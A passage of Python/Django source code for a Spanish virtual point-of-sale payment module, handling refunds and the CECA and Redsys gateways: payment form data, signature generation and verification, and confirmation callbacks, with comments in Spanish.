and (not self.has_partial_refunds):\n raise Exception(u\"El TPV no admite devoluciones, ni totales, ni parciales\")\n\n if refund_amount > payment_operation.amount:\n raise Exception(u\"Imposible reembolsar una cantidad superior a la del pago\")\n\n if (refund_amount < payment_operation.amount) and (not self.has_partial_refunds):\n raise Exception(u\"Configuración del TPV no permite realizar devoluciones parciales\")\n\n if (refund_amount == payment_operation.amount) and (not self.has_total_refunds):\n raise Exception(u\"Configuración del TPV no permite realizar devoluciones totales\")\n\n # Creamos la operación, marcandola como pendiente.\n self.operation = VPOSRefundOperation(amount=refund_amount,\n description=description,\n operation_number=payment_operation.operation_number,\n status='pending',\n payment=payment_operation)\n\n self.operation.save()\n\n # Llamamos al delegado que implementa la funcionalidad en particular.\n refund_response = self.delegated.refund(refund_amount, description)\n\n if refund_response:\n refund_status = 'completed'\n else:\n refund_status = 'failed'\n\n self.operation.status = refund_status\n self.operation.save()\n\n # Calcula el nuevo estado del pago, en función de la suma de las devoluciones,\n # (pudiendolo marcas como \"completely_refunded\" o \"partially_refunded\").\n payment_operation.compute_payment_refunded_status()\n\n return refund_response\n\n\n########################################################################################################################\nclass VPOSRefundOperation(models.Model):\n \"\"\"\n Entidad que gestiona las devoluciones de pagos realizados.\n Las devoluciones pueden ser totales o parciales, por tanto un \"pago\" tiene una relación uno a muchos con \"devoluciones\".\n \"\"\"\n amount = models.DecimalField(max_digits=6, decimal_places=2, null=False, blank=False, verbose_name=u\"Cantidad de la devolución\")\n description = models.CharField(max_length=512, null=False, blank=False, verbose_name=u\"Descripción de la devolución\")\n\n operation_number = models.CharField(max_length=255, null=False, blank=False, verbose_name=u\"Número de operación\")\n status = models.CharField(max_length=64, choices=VPOS_REFUND_STATUS_CHOICES, null=False, blank=False, verbose_name=u\"Estado de la devolución\")\n creation_datetime = models.DateTimeField(verbose_name=\"Fecha de creación del objeto\")\n last_update_datetime = models.DateTimeField(verbose_name=\"Fecha de última actualización del objeto\")\n payment = models.ForeignKey(VPOSPaymentOperation, on_delete=models.PROTECT, related_name=\"refund_operations\")\n\n\n ## Guarda el objeto en BD, en realidad lo único que hace es actualizar los datetimes\n def save(self, *args, **kwargs):\n \"\"\"\n Guarda el objeto en BD, en realidad lo único que hace es actualizar los datetimes.\n El datetime de actualización se actualiza siempre, el de creación sólo al guardar de nuevas.\n \"\"\"\n # Datetime con el momento actual en UTC\n now_datetime = datetime.datetime.now()\n # Si no se ha guardado aún, el datetime de creación es la fecha actual\n if not self.id:\n self.creation_datetime = localize_datetime(now_datetime)\n # El datetime de actualización es la fecha actual\n self.last_update_datetime = localize_datetime(now_datetime)\n # Llamada al constructor del padre\n super(VPOSRefundOperation, self).save(*args, **kwargs)\n\n\n########################################################################################################################\n########################################################################################################################\n####################################################### TPV Ceca #######################################################\n########################################################################################################################\n########################################################################################################################\n\nclass VPOSCeca(VirtualPointOfSale):\n \"\"\"Información de configuración del TPV Virtual CECA\"\"\"\n\n regex_number = re.compile(\"^\\d*$\")\n regex_operation_number_prefix = re.compile(\"^[A-Za-z0-9]*$\")\n\n # Relación con el padre (TPV).\n # Al poner el signo \"+\" como \"related_name\" evitamos que desde el padre\n # se pueda seguir la relación hasta aquí (ya que cada uno de las clases\n # que heredan de ella estará en una tabla y sería un lío).\n parent = models.OneToOneField(VirtualPointOfSale, parent_link=True, related_name=\"+\", null=False, db_column=\"vpos_id\")\n\n # Identifica al comercio, será facilitado por la caja en el proceso de alta\n merchant_id = models.CharField(max_length=9, null=False, blank=False, verbose_name=\"MerchantID\",\n validators=[MinLengthValidator(9), MaxLengthValidator(9),\n RegexValidator(regex=regex_number,\n message=\"Asegúrese de que todos los caracteres son números\")])\n # Identifica la caja, será facilitado por la caja en el proceso de alta\n acquirer_bin = models.CharField(max_length=10, null=False, blank=False, verbose_name=\"AcquirerBIN\",\n validators=[MinLengthValidator(10), MaxLengthValidator(10),\n RegexValidator(regex=regex_number,\n message=\"Asegúrese de que todos los caracteres son números\")])\n # Identifica el terminal, será facilitado por la caja en el proceso de alta\n terminal_id = models.CharField(max_length=8, null=False, blank=False, verbose_name=\"TerminalID\",\n validators=[MinLengthValidator(8), MaxLengthValidator(8),\n RegexValidator(regex=regex_number,\n message=\"Asegúrese de que todos los caracteres son números\")])\n # Clave de cifrado para el entorno de pruebas\n encryption_key_testing = models.CharField(max_length=10, null=False, blank=False,\n verbose_name=\"Encryption Key para el entorno de pruebas\",\n validators=[MinLengthValidator(8), MaxLengthValidator(10)])\n # Clave de cifrado para el entorno de producción\n encryption_key_production = models.CharField(max_length=10, null=False, blank=True,\n verbose_name=\"Encryption Key para el entorno de producción\",\n validators=[MinLengthValidator(8), MaxLengthValidator(10)])\n\n # Prefijo del número de operación usado para identicar al servidor desde el que se realiza la petición\n operation_number_prefix = models.CharField(max_length=20, null=False, blank=True,\n verbose_name=\"Prefijo del número de operación\",\n validators=[MinLengthValidator(0), MaxLengthValidator(20),\n RegexValidator(regex=regex_operation_number_prefix,\n message=\"Asegúrese de sólo use caracteres alfanuméricos\")])\n\n # Clave de cifrado según el entorno\n encryption_key = None\n\n # El TPV de CECA consta de dos entornos en funcionamiento, uno para pruebas y otro para producción\n CECA_URL = {\n \"production\": \"https://pgw.ceca.es/cgi-bin/tpv\",\n \"testing\": \"http://tpv.ceca.es:8000/cgi-bin/tpv\"\n }\n\n # Los códigos de idioma a utilizar son los siguientes\n IDIOMAS = {\"es\": \"1\", \"en\": \"6\", \"fr\": \"7\", \"de\": \"8\", \"pt\": \"9\", \"it\": \"10\"}\n\n # URL de pago que variará según el entorno\n url = None\n # Identifica el importe de la venta, siempre será un número entero y donde los dos últimos dígitos representan los decimales\n importe = None\n # Tipo de pago que soporta\n pago_soportado = \"SSL\"\n # Cifrado que será usado en la generación de la firma\n cifrado = \"SHA1\"\n # Campo específico para realizar el pago, actualmente será 2\n exponente = \"2\"\n # Identifica el tipo de moneda\n tipo_moneda = \"978\"\n # Idioma por defecto a usar. Español\n idioma = \"1\"\n\n # marca de tiempo de recepción de la notificación de pago OK. Nuestro sistema debe dar una respuesta de\n # OK o NOK antes de 30 segundos. Transcurrido este periodo, CECA anula la operación de forma automática\n # y no notifica de nada (!)\n confirmation_timestamp = None\n\n ####################################################################\n ## Inicia el valor de la clave de cifrado en función del entorno\n def __init_encryption_key__(self):\n # Clave de cifrado según el entorno\n if self.parent.environment == \"testing\":\n self.encryption_key = self.encryption_key_testing\n elif self.parent.environment == \"production\":\n self.encryption_key = self.encryption_key_production\n else:\n raise ValueError(u\"Entorno {0} no válido\")\n\n ####################################################################\n ## Constructor del TPV CECA\n def __init__(self, *args, **kwargs):\n super(VPOSCeca, self).__init__(*args, **kwargs)\n\n def __unicode__(self):\n return self.name\n\n @classmethod\n def form(cls):\n from forms import VPOSCecaForm\n return VPOSCecaForm\n\n ####################################################################\n ## Paso 1.1. Configuración del pago\n def configurePayment(self, **kwargs):\n # URL de pago según el entorno\n self.url = self.CECA_URL[self.parent.environment]\n\n # Formato para Importe: según ceca, ha de tener un formato de entero positivo\n self.importe = \"{0:.2f}\".format(float(self.parent.operation.amount)).replace(\".\", \"\")\n\n # Idioma de la pasarela, por defecto es español, tomamos\n # el idioma actual y le asignamos éste\n self.idioma = self.IDIOMAS[\"es\"]\n lang = translation.get_language()\n if lang in self.IDIOMAS:\n self.idioma = self.IDIOMAS[lang]\n\n ####################################################################\n ## Paso 1.2. Preparación del TPV y Generación del número de operación\n def setupPayment(self, operation_number=None, code_len=40):\n \"\"\"\n Inicializa el número de operación si no se indica uno\n explícitamente en los argumentos.\n \"\"\"\n\n if operation_number:\n return operation_number\n\n operation_number = ''\n for i in range(code_len):\n operation_number += random.choice('ABCDEFGHJKLMNPQRSTUWXYZ23456789')\n # Si en settings tenemos un prefijo del número de operación\n # se lo añadimos delante, con carácter \"-\" entre medias\n if self.operation_number_prefix:\n operation_number = self.operation_number_prefix + \"-\" + operation_number\n return operation_number[0:code_len]\n return operation_number\n\n ####################################################################\n ## Paso 1.3. Obtiene los datos de pago\n ## Este método será el que genere los campos del formulario de pago\n ## que se rellenarán desde el cliente (por Javascript)\n def getPaymentFormData(self):\n data = {\n # Identifica al comercio, será facilitado por la caja\n \"MerchantID\": self.merchant_id,\n # Identifica a la caja, será facilitado por la caja\n \"AcquirerBIN\": self.acquirer_bin,\n # Identifica al terminal, será facilitado por la caja\n \"TerminalID\": self.terminal_id,\n # URL determinada por el comercio a la que CECA devolverá el control en caso de que la operación finalice correctamente\n \"URL_OK\": self.parent.operation.url_ok,\n # URL determinada por el comercio a la que CECA devolverá el control en caso de que la operación NO finalice correctamente\n \"URL_NOK\": self.parent.operation.url_nok,\n # Cadena de caracteres calculada por el comercio\n \"Firma\": self._sending_signature(),\n # Tipo de cifrado que se usará para el cifrado de la firma\n \"Cifrado\": self.cifrado,\n # Identifica el número de pedido, factura, albarán, etc\n \"Num_operacion\": self.parent.operation.operation_number,\n # Importe de la operación sin formatear. Siempre será entero con los dos últimos dígitos usados para los centimos\n \"Importe\": self.importe,\n # Codigo ISO-4217 correspondiente a la moneda en la que se efectúa el pago\n \"TipoMoneda\": self.tipo_moneda,\n # Actualmente siempre será 2\n \"Exponente\": self.exponente,\n # Valor fijo: SSL\n \"Pago_soportado\": self.pago_soportado,\n # Código de idioma\n \"Idioma\": self.idioma,\n # Opcional. Campo reservado para mostrar información en la página de pago\n \"Descripcion\": self.parent.operation.description\n }\n form_data = {\n \"data\": data,\n \"action\": self.url,\n \"enctype\": \"application/x-www-form-urlencoded\",\n \"method\": \"post\"\n }\n return form_data\n\n ####################################################################\n ## Paso 3.1. Obtiene el número de operación y los datos que nos\n ## envíe la pasarela de pago.\n @staticmethod\n def receiveConfirmation(request, **kwargs):\n\n # Almacén de operaciones\n try:\n operation = VPOSPaymentOperation.objects.get(operation_number=request.POST.get(\"Num_operacion\"))\n operation.confirmation_data = {\"GET\": request.GET.dict(), \"POST\": request.POST.dict()}\n operation.confirmation_code = request.POST.get(\"Referencia\")\n operation.save()\n dlprint(\"Operation {0} actualizada en receiveConfirmation()\".format(operation.operation_number))\n vpos = operation.virtual_point_of_sale\n except VPOSPaymentOperation.DoesNotExist:\n # Si no existe la operación, están intentando\n # cargar una operación inexistente\n return False\n\n # Iniciamos el delegado y la operación, esto es fundamental\n # para luego calcular la firma\n vpos._init_delegated()\n vpos.operation = operation\n\n # Marca de tiempo de recepción de notificación. Debemos completar todo el proceso (es decir,\n # invocar charge()) antes de 30 segundos o CECA anula la operación. Como margen de seguridad,\n # intentaremos hacerlo todo en menos de 20 segundos. Si se supera esa cota de tiempo, se\n # devuelve una exepción y se anula la operacion.\n vpos.delegated.confirmation_timestamp = time.time()\n\n # Iniciamos los valores recibidos en el delegado\n\n # Identifica al comercio\n vpos.delegated.merchant_id = request.POST.get(\"MerchantID\")\n # Identifica a la caja\n vpos.delegated.acquirer_bin = request.POST.get(\"AcquirerBIN\")\n # Identifica al terminal\n vpos.delegated.terminal_id = request.POST.get(\"TerminalID\")\n # Identifica el número de pedido, factura, albarán, etc\n vpos.delegated.num_operacion = request.POST.get(\"Num_operacion\")\n # Importe de la operación sin formatear\n vpos.delegated.importe = request.POST.get(\"Importe\")\n # Corresponde a la moneda en la que se efectúa el pago\n vpos.delegated.tipo_moneda = request.POST.get(\"TipoMoneda\")\n # Actualmente siempre será 2\n vpos.delegated.exponente = request.POST.get(\"Exponente\")\n # Idioma de la operación\n vpos.delegated.idioma = request.POST.get(\"Idioma\")\n # Código ISO del país de la tarjeta que ha realizado la operación\n vpos.delegated.pais = request.POST.get(\"Pais\")\n # Los 200 primeros caracteres de la operación\n vpos.delegated.descripcion = request.POST.get(\"Descripcion\")\n # Valor único devuelto por la pasarela. Imprescindible para realizar cualquier tipo de reclamación y/o anulación\n vpos.delegated.referencia = request.POST.get(\"Referencia\")\n # Valor asignado por la entidad emisora a la hora de autorizar una operación\n vpos.delegated.num_aut = request.POST.get(\"Num_aut\")\n # Es una cadena de caracteres calculada por CECA firmada por SHA1\n vpos.delegated.firma = request.POST.get(\"Firma\")\n\n dlprint(u\"Lo que recibimos de CECA: \")\n dlprint(request.POST)\n return vpos.delegated\n\n ####################################################################\n ## Paso 3.2. Verifica que los datos enviados desde\n ## la pasarela de pago identifiquen a una operación de compra.\n def verifyConfirmation(self):\n # Comprueba si el envío es correcto\n firma_calculada = self._verification_signature()\n dlprint(\"Firma recibida \" + self.firma)\n dlprint(\"Firma calculada \" + firma_calculada)\n verified = (self.firma == firma_calculada)\n return verified\n\n ####################################################################\n ## Paso 3.3a. Realiza el cobro y genera la respuesta a la pasarela y\n ## comunicamos con la pasarela de pago para que marque la operación\n ## como pagada. Sólo se usa en CECA. Para que el programa sea capaz de discernir a partir\n ## de la respuesta recibida desde el Comercio si todo ha funcionado correctamente\n def charge(self):\n dlprint(\"responseOk\")\n\n # Si han transcurrido más de 20 segundos anulamos la operación debido\n # a que CECA la anulará si pasan más de 30 sin dar la respuesta. Nosotros\n # nos quedamos en 20 como margen de seguridad por el overhead de otras\n # operaciones.\n elapsed = time.time() - self.confirmation_timestamp\n if elapsed > 12:\n dlprint(\n u\"AVISO: se ha superado el margen de tiempo para devolver la respuesta: {0}s. Lanzando excepción.\".format(\n elapsed))\n raise Exception(u\"Se ha superado el margen de tiempo en generar la respuesta.\")\n\n operation = self.parent.operation\n\n dlprint(u\"antes de save\")\n operation.confirmation_data = u\"{0}\\n\\n{1}\".format(operation.confirmation_data, u\"XXXXXXXXXXXXXXXXXXXXXXXXXX\")\n operation.save()\n dlprint(u\"después de save\")\n\n return HttpResponse(\"$*$OKY$*$\")\n\n ####################################################################\n ## Paso 3.3b. Si ha habido un error en el pago, se ha de dar una\n ## respuesta negativa a la pasarela bancaria.\n def responseNok(self, **kwargs):\n dlprint(\"responseNok\")\n return HttpResponse(\"\")\n\n ####################################################################\n ## Paso R. (Refund) Configura el TPV en modo devolución\n ## TODO: No implementado\n def refund(self, refund_amount, description):\n raise VPOSOperationDontImplemented(u\"No se ha implementado la operación de devolución particular para CECA.\")\n\n ####################################################################\n ## Generador de firma para el envío\n def _sending_signature(self):\n \"\"\"Calcula la firma a incorporar en el formulario de pago\"\"\"\n self.__init_encryption_key__()\n dlprint(\"Clave de cifrado es {0}\".format(self.encryption_key))\n signature = \"{encryption_key}{merchant_id}{acquirer_bin}{terminal_id}{num_operacion}{importe}{tipo_moneda}{exponente}SHA1{url_ok}{url_nok}\".format(\n encryption_key=self.encryption_key,\n merchant_id=self.merchant_id,\n acquirer_bin=self.acquirer_bin,\n terminal_id=self.terminal_id,\n num_operacion=self.parent.operation.operation_number,\n importe=self.importe,\n tipo_moneda=self.tipo_moneda,\n exponente=self.exponente,\n url_ok=self.parent.operation.url_ok,\n url_nok=self.parent.operation.url_nok\n )\n dlprint(\"\\tencryption_key {0}\".format(self.encryption_key))\n dlprint(\"\\tmerchant_id {0}\".format(self.merchant_id))\n dlprint(\"\\tacquirer_bin {0}\".format(self.acquirer_bin))\n dlprint(\"\\tterminal_id {0}\".format(self.terminal_id))\n dlprint(\"\\tnum_operacion {0}\".format(self.parent.operation.operation_number))\n dlprint(\"\\timporte {0}\".format(self.importe))\n dlprint(\"\\ttipo_moneda {0}\".format(self.tipo_moneda))\n dlprint(\"\\texponente {0}\".format(self.exponente))\n dlprint(\"\\turl_ok {0}\".format(self.parent.operation.url_ok))\n dlprint(\"\\turl_nok {0}\".format(self.parent.operation.url_nok))\n dlprint(\"FIRMA {0}\".format(signature))\n return hashlib.sha1(signature).hexdigest()\n\n ####################################################################\n ## Generador de firma para la verificación\n def _verification_signature(self):\n self.__init_encryption_key__()\n \"\"\"Calcula la firma de verificación\"\"\"\n dlprint(\"Clave de cifrado es \".format(self.encryption_key))\n signature = \"{encryption_key}{merchant_id}{acquirer_bin}{terminal_id}{num_operacion}{importe}{tipo_moneda}{exponente}{referencia}\".format(\n encryption_key=self.encryption_key,\n merchant_id=self.merchant_id,\n acquirer_bin=self.acquirer_bin,\n terminal_id=self.terminal_id,\n num_operacion=self.parent.operation.operation_number,\n importe=self.importe,\n tipo_moneda=self.tipo_moneda,\n exponente=self.exponente,\n referencia=self.parent.operation.confirmation_code,\n )\n dlprint(\"\\tencryption_key {0}\".format(self.encryption_key))\n dlprint(\"\\tmerchant_id {0}\".format(self.merchant_id))\n dlprint(\"\\tacquirer_bin {0}\".format(self.acquirer_bin))\n dlprint(\"\\tterminal_id {0}\".format(self.terminal_id))\n dlprint(\"\\tnum_operacion {0}\".format(self.parent.operation.operation_number))\n dlprint(\"\\timporte {0}\".format(self.importe))\n dlprint(\"\\ttipo_moneda {0}\".format(self.tipo_moneda))\n dlprint(\"\\texponente {0}\".format(self.exponente))\n dlprint(\"\\treferencia {0}\".format(self.parent.operation.confirmation_code))\n dlprint(\"FIRMA {0}\".format(signature))\n return hashlib.sha1(signature).hexdigest()\n\n\n########################################################################################################################\n########################################################################################################################\n###################################################### TPV Redsys ######################################################\n########################################################################################################################\n########################################################################################################################\n\nclass VPOSRedsys(VirtualPointOfSale):\n \"\"\"Información de configuración del TPV Virtual Redsys\"\"\"\n ## Todo TPV tiene una relación con los datos generales del TPV\n parent = models.OneToOneField(VirtualPointOfSale, parent_link=True, related_name=\"+\", null=False, db_column=\"vpos_id\")\n\n # Expresión regular usada en la identificación del servidor\n regex_number = re.compile(\"^\\d*$\")\n regex_operation_number_prefix = re.compile(\"^\\d+$\")\n\n # Código FUC asignado al comercio\n merchant_code = models.CharField(max_length=9, null=False, blank=False, verbose_name=\"MerchantCode\")\n\n # Confirmation URL that will be used by the virtual POS\n merchant_response_url = models.URLField(max_length=64, null=False, blank=False, verbose_name=\"MerchantURL\",\n help_text=u\"Confirmation URL that will be used by the virtual POS\")\n\n # Número de terminal que le asignará su banco\n terminal_id = models.CharField(max_length=3, null=False, blank=False, verbose_name=\"TerminalID\")\n\n # Clave de cifrado SHA-256 para el entorno de prueba\n encryption_key_testing_sha256 = models.CharField(max_length=64, null=True, default=None,\n verbose_name=\"Encryption Key SHA-256 para el entorno de pruebas\")\n # Clave de cifrado SHA-256 para el entorno de producción\n encryption_key_production_sha256 = models.CharField(max_length=64, null=True, default=None,\n verbose_name=\"Encryption Key SHA-256 para el entorno de producción\")\n\n # Prefijo del número de operación usado para identicar al servidor desde el que se realiza la petición, el tamaño máximo sera de 3 caracteres numéricos\n operation_number_prefix = models.CharField(max_length=3, null=False, blank=True,\n verbose_name=\"Prefijo del número de operación\",\n validators=[MinLengthValidator(0), MaxLengthValidator(3),\n RegexValidator(regex=regex_operation_number_prefix,\n message=\"Asegúrese de sólo use caracteres numéricos\")])\n\n # Clave que se va usar para esta operación\n encryption_key = None\n\n # Códigos de respuesta\n DS_RESPONSE_CODES = {\n \"0101\": u\"Tarjeta Caducada.\",\n \"0102\": u\"Tarjeta en excepción transitoria o bajo sospecha de fraude.\",\n \"0104\": u\"Operación no permitida para esa tarjeta o terminal.\",\n \"0106\": u\"Intentos de PIN excedidos.\",\n \"0116\": u\"Disponible Insuficiente.\",\n \"0118\": u\"Tarjeta no Registrada.\",\n \"0125\": u\"Tarjeta no efectiva.\",\n \"0129\": u\"Código de seguridad (CVV2/CVC2) incorrecto.\",\n \"0180\": u\"Tarjeta ajena al servicio.\",\n \"0184\": u\"Error en la autenticación del titular.\",\n \"0190\": u\"Denegación sin especificar motivo.\",\n \"0191\": u\"Fecha de caducidad errónea.\",\n \"0202\": u\"Tarjeta en excepción transitoria o bajo sospecha de fraude con retirada de tarjeta.\",\n \"0904\": u\"Comercio no registrado en FUC.\",\n \"0909\": u\"Error de sistema.\",\n \"0912\": u\"Emisor no disponible.\",\n \"0913\": u\"Pedido repetido.\",\n \"0944\": u\"Sesión Incorrecta.\",\n \"0950\": u\"Operación de devolución no permitida.\",\n \"9064\": u\"Número de posiciones de la tarjeta incorrecto.\",\n \"9078\": u\"No existe método de pago válido para esa tarjeta.\",\n \"9093\": u\"Tarjeta no existente.\",\n \"9094\": u\"Rechazo servidores internacionales.\",\n \"9104\": u\"Comercio con “titular seguro” y titular sin clave de compra segura.\",\n \"9218\": u\"El comercio no permite op. seguras por entrada /operaciones.\",\n \"9253\": u\"Tarjeta no cumple el check-digit.\",\n \"9256\": u\"El comercio no puede realizar preautorizaciones.\",\n \"9257\": u\"Esta tarjeta no permite operativa de preautorizaciones.\",\n \"9261\": u\"Operación detenida por superar el control de restricciones en la entrada al SIS.\",\n \"9912\": u\"Emisor no disponible.\",\n \"9913\": u\"Error en la confirmación que el comercio envía al TPV Virtual (solo aplicable en la opción de sincronización SOAP).\",\n \"9914\": u\"Confirmación “KO” del comercio (solo aplicable en la opción de sincronización SOAP).\",\n \"9915\": u\"A petición del usuario se ha cancelado el pago.\",\n \"9928\": u\"Anulación de autorización en diferido realizada por el SIS (proceso batch).\",\n \"9929\": u\"Anulación de autorización en diferido realizada por el comercio.\",\n \"9997\": u\"Se está procesando otra transacción en SIS con la misma tarjeta.\",\n \"9998\": u\"Operación en proceso de solicitud de datos de tarjeta.\",\n \"9999\": u\"Operación que ha sido redirigida al emisor a autenticar.\",\n }\n\n ALLOW_PAYMENT_BY_REFERENCE = True\n\n # El TPV de RedSys consta de dos entornos en funcionamiento, uno para pruebas y otro para producción\n REDSYS_URL = {\n \"production\": \"https://sis.redsys.es/sis/realizarPago\",\n \"testing\": \"https://sis-t.redsys.es:25443/sis/realizarPago\"\n }\n\n # Idiomas soportados por RedSys\n IDIOMAS = {\"es\": \"001\", \"en\": \"002\", \"ca\": \"003\", \"fr\": \"004\", \"de\": \"005\", \"pt\": \"009\", \"it\": \"007\"}\n\n # URL de pago que variará según el entorno\n url = None\n # Importe de la venta\n importe = None\n # Tipo de cifrado usado en la generación de la firma\n cifrado = \"SHA1\"\n # Tipo de moneda usada en la operación, en este caso sera Euros\n tipo_moneda = \"978\"\n # Indica qué tipo de transacción se utiliza, en este caso usamos 0-Autorización\n transaction_type = \"0\"\n # Idioma por defecto a usar. Español\n idioma = \"001\"\n\n # En modo SOAP, string con \"... \" completo. Es necesario para calcular la firma\n soap_request = None\n\n ## Inicia el valor de la clave de cifrado en función del entorno\n def __init_encryption_key__(self):\n # Clave de cifrado según el entorno\n if self.parent.environment == \"testing\":\n self.encryption_key = self.encryption_key_testing_sha256\n elif self.parent.environment == \"production\":\n self.encryption_key = self.encryption_key_production_sha256\n else:\n raise ValueError(u\"Entorno {0} no válido\".format(self.parent.environment))\n\n if not self.encryption_key:\n raise ValueError(u\"La clave de cifrado para {0} no es válida\".format(self.parent.environment))\n\n # Algunos métodos utilizados más adelante necesitan que sea un str\n self.encryption_key = str(self.encryption_key)\n\n ####################################################################\n\n ## Constructor del TPV REDSYS\n def __init__(self, *args, **kwargs):\n super(VPOSRedsys, self).__init__(*args, **kwargs)\n\n def __unicode__(self):\n return self.name\n\n @classmethod\n def form(cls):\n from forms import VPOSRedsysForm\n return VPOSRedsysForm\n\n ####################################################################\n ## Paso 1.1. Configuración del pago\n def configurePayment(self, **kwargs):\n # URL de pago según el entorno\n self.url = self.REDSYS_URL[self.parent.environment]\n\n # Formato para Importe: según redsys, ha de tener un formato de entero positivo, con las dos últimas posiciones\n # ocupadas por los decimales\n self.importe = \"{0:.2f}\".format(float(self.parent.operation.amount)).replace(\".\", \"\")\n if self.importe == \"000\":\n self.importe = \"0\"\n\n # Idioma de la pasarela, por defecto es español, tomamos\n # el idioma actual y le asignamos éste\n self.idioma = self.IDIOMAS[\"es\"]\n lang = translation.get_language()\n if lang in self.IDIOMAS:\n self.idioma = self.IDIOMAS[lang]\n\n ####################################################################\n ## Paso 1.2. Preparación del TPV y Generación del número de operación\n def setupPayment(self, operation_number=None, code_len=12):\n \"\"\"\n Devuelve un número de operación para los pagos al TPV Redsys.\n Nótese que los 4 primeros carateres son dígitos, el resto\n pueden ser dígitos o carecteres alfabéticos.\n \"\"\"\n\n operation_number = ''\n\n if operation_number:\n return operation_number\n\n if self.operation_number_prefix:\n operation_number = self.operation_number_prefix\n\n # Los 4 primeros dígitos deben ser numéricos, forzosamente\n for i in range(4 - len(operation_number)):\n operation_number += random.choice('23456789')\n\n # El resto de los dígitos pueden ser alfanuméricos\n for i in range(code_len - 4):\n operation_number += random.choice('ABCDEFGHJKLMNPQRSTUWXYZ23456789')\n\n return operation_number\n\n ####################################################################\n ## Paso 1.3. Obtiene los datos de pago\n ## Este método será el que genere los campos del formulario de pago\n ## que se rellenarán desde el cliente (por Javascript)\n def getPaymentFormData(self, reference_number=False):\n order_data = {\n # Indica el importe de la venta\n \"DS_MERCHANT_AMOUNT\": self.importe,\n\n # Indica el número de operacion\n \"DS_MERCHANT_ORDER\": self.parent.operation.operation_number,\n\n # Código FUC asignado al comercio\n \"DS_MERCHANT_MERCHANTCODE\": self.merchant_code,\n\n # Indica el tipo de moneda a usar\n \"DS_MERCHANT_CURRENCY\": self.tipo_moneda,\n\n # Indica que tipo de transacción se utiliza\n \"DS_MERCHANT_TRANSACTIONTYPE\": self.transaction_type,\n\n # Indica el terminal\n \"DS_MERCHANT_TERMINAL\": self.terminal_id,\n\n # Obligatorio si se tiene confirmación online.\n \"DS_MERCHANT_MERCHANTURL\": self.merchant_response_url,\n\n # URL a la que se redirige al usuario en caso de que la venta haya sido satisfactoria\n \"DS_MERCHANT_URLOK\": self.parent.operation.url_ok,\n\n # URL a la que se redirige al usuario en caso de que la venta NO haya sido satisfactoria\n \"DS_MERCHANT_URLKO\": self.parent.operation.url_nok,\n\n # Se mostrará al titular en la pantalla de confirmación de la compra\n \"DS_MERCHANT_PRODUCTDESCRIPTION\": self.parent.operation.description,\n\n # Indica el valor del idioma\n \"DS_MERCHANT_CONSUMERLANGUAGE\": self.idioma,\n\n # Representa la suma total de los importes de las cuotas\n \"DS_MERCHANT_SUMTOTAL\": self.importe,\n }\n\n # En caso de que tenga referencia\n if reference_number:\n # Puede ser una petición de referencia\n if reference_number.lower() == \"request\":\n order_data[\"DS_MERCHANT_IDENTIFIER\"] = \"REQUIRED\"\n if \"?\" in order_data[\"DS_MERCHANT_MERCHANTURL\"]:\n order_data[\"DS_MERCHANT_MERCHANTURL\"] += \"&request_reference=1\"\n else:\n order_data[\"DS_MERCHANT_MERCHANTURL\"] += \"?request_reference=1\"\n # o en cambio puede ser el envío de una referencia obtenida antes\n else:\n order_data[\"DS_MERCHANT_IDENTIFIER\"] = reference_number\n\n json_order_data = json.dumps(order_data)\n packed_order_data = base64.b64encode(json_order_data)\n\n data = {\n \"Ds_SignatureVersion\": \"HMAC_SHA256_V1\",\n \"Ds_MerchantParameters\": packed_order_data,\n \"Ds_Signature\": self._redsys_hmac_sha256_signature(packed_order_data)\n }\n\n form_data = {\n \"data\": data,\n \"action\": self.url,\n \"enctype\": \"application/x-www-form-urlencoded\",\n \"method\": \"post\"\n }\n\n return form_data\n\n ####################################################################\n ## Paso 3.1. Obtiene el número de operación y los datos que nos\n ## envíe la pasarela de pago.\n @classmethod\n def receiveConfirmation(cls, request):\n # Es una respuesta HTTP POST \"normal\"\n if 'Ds_MerchantParameters' in request.POST:\n return cls._receiveConfirmationHTTPPOST(request)\n\n # Es una respuesta SOAP\n body = request.body\n if \"procesaNotificacionSIS\" in body and \"SOAP\" in body:\n return cls._receiveConfirmationSOAP(request)\n\n raise Exception(u\"No se reconoce la petición ni como HTTP POST ni como SOAP\")\n\n ####################################################################\n ## Paso 3.1.a Procesar notificación HTTP POST\n @staticmethod\n def _receiveConfirmationHTTPPOST(request):\n dlprint(u\"Notificación Redsys HTTP POST:\")\n dlprint(request.POST)\n\n # Almacén de operaciones\n try:\n operation_data = json.loads(base64.b64decode(request.POST.get(\"Ds_MerchantParameters\")))\n dlprint(operation_data)\n # Operation number\n operation_number = operation_data.get(\"Ds_Order\")\n operation = VPOSPaymentOperation.objects.get(operation_number=operation_number)\n operation.confirmation_data = {\"GET\": request.GET.dict(), \"POST\": request.POST.dict()}\n operation.confirmation_code = operation_number\n operation.save()\n dlprint(\"Operation {0} actualizada en _receiveConfirmationHTTPPOST()\".format(operation.operation_number))\n\n vpos = operation.virtual_point_of_sale\n except VPOSPaymentOperation.DoesNotExist:\n # Si no existe la operación, están intentando\n # cargar una operación inexistente\n return False\n\n # Iniciamos el delegado y la operación, esto es fundamental para luego calcular la firma\n vpos._init_delegated()\n vpos.operation = operation\n\n # Iniciamos los valores recibidos en el delegado\n\n # Datos de la operación al completo\n\t\t# Usado para recuperar los datos la referencia\n vpos.delegated.ds_merchantparameters = operation_data\n\n ## Datos que llegan por POST\n # Firma enviada por RedSys, que más tarde compararemos con la generada por el comercio\n vpos.delegated.firma = request.POST.get(\"Ds_Signature\")\n\n # Versión del método de firma utilizado\n vpos.delegated.signature_version = request.POST.get(\"Ds_SignatureVersion\")\n\n # Parámetros de la operación (en base64 + JSON)\n vpos.delegated.merchant_parameters = request.POST.get(\"Ds_MerchantParameters\")\n\n ## Datos decodificados de Ds_MerchantParameters\n # Respuesta de la pasarela de pagos. Indica si la operación se autoriza o no\n vpos.delegated.ds_response = operation_data.get(\"Ds_Response\")\n\n return vpos.delegated\n\n ####################################################################\n ## Paso 3.1.b Procesar notificación SOAP\n @staticmethod\n def _receiveConfirmationSOAP(request):\n dlprint(u\"Notificación Redsys SOAP:\")\n body = request.body\n dlprint(body)\n\n root = etree.fromstring(body)\n tree = etree.ElementTree(root)\n\n soapdict = dictlist(tree.getroot())\n\n # Aquí tendremos toda la cadena ... \n xml_content = soapdict['{http://schemas.xmlsoap.org/soap/envelope/}Envelope']['value'][0][\n '{http://schemas.xmlsoap.org/soap/envelope/}Body']['value'][0]['{InotificacionSIS}procesaNotificacionSIS'][\n 'value'][0]['XML']['value']\n\n # procesar ... \n dlprint(u\"Mensaje XML completo:\" + xml_content)\n root = 